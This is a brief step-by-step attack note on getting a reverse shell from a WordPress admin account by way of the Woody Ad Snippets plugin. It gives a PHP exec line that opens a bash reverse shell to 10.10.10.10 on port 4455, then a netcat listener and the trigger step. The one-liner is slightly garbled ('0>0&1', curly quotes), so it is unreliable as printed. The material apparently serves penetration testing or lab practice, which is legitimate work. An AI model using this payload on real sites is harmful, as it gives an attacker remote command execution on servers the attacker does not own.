Woody AD Snippets

Need creds and access to admin dashboard

[1]Navigate to Plugins → Add new → Woody ad Snippets → Add snippet

[2] php snippet → create item

<?php exec("/bin/bash -c ‘bash -i >& /dev/tcp/10.10.10.10/4455 0>0&1’");?>

[3] Save draft → Publish

[4]Start a nc listener on port 4455

[5]Navigate to dashboard, click on plugin and trigger revshell